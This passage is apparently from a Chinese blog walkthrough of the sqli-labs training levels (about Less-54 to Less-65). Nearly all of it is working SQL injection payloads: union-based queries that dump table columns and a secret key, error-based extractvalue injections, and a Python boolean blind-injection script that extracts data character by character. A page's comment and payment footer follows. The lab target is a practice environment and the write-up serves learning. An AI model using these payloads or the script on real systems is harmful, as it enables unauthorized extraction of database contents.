?id=0' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database()--+

Your Login name:challenges
Your Password:id,sessid,secret_9A2K,tryy

得到key

?id=0' union select 1,database(),group_concat(secret_9A2K) from challenges.IBY7ZSE2AR--+

Your Login name:challenges
Your Password:t1jzYjvdfyvk7smz910qwiL3

less55

构造闭合?id=1)--+ , 其余同上

less56

?id=1') union select 1,2,3--+

less57

?id=0" union select 1,2,3--+

less58

报错注入

?id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--+

less59

?id=1 and extractvalue(0x0a,concat(0x0a,(select database())))--+

less60

?id=1") and extractvalue(0x0a,concat(0x0a,(select database())))--+

less61

?id=1')) and extractvalue(0x0a,concat(0x0a,(select database())))--+

less62

可以进行bool盲注,不过可能要超出次数了
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.12 13:52
# @author:lonmar

import requests
url = 'http://sqlilab.com/Less-62/index.php'
def bool_injection(sql):
    result = ''
    for i in range(1, 100):
        esp = 128
        ebp = 32
        mid = 0
        while True:
            tmp = mid
            mid = int((esp + ebp) / 2)
            if tmp == mid:
                result = result + chr(mid + 1)
                print('[*]'+result)
                break
            payload = f"?id=1') and 1=(ascii(substr(({sql}),{i},1))>'{mid}')--+"
            res = requests.get(url=url + payload)
            if 'Angelina' in res.text:
                ebp = mid
            else:
                esp = mid
        if chr(mid + 1) == '!':
            return result[:-1]
        
if __name__ == '__main__':
    sql1 = "select group_concat(table_name) from information_schema.tables where table_schema='challenges'"
    table_name = bool_injection(sql1)
    sql2 = f"select group_concat(column_name) from information_schema.columns where table_name ='{table_name}'"
    column_name = bool_injection(sql2)[10:21]
    sql3 = f"select group_concat({column_name}) from challenges.{table_name}"
    flag = bool_injection(sql3)
    print('key: '+flag)

less63

还是盲注?id=1' and 1=1--+ 闭合

less64

盲注 ?id=1)) and 1=2--+

less65

盲注 闭合 ?id=1") and 1=2--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值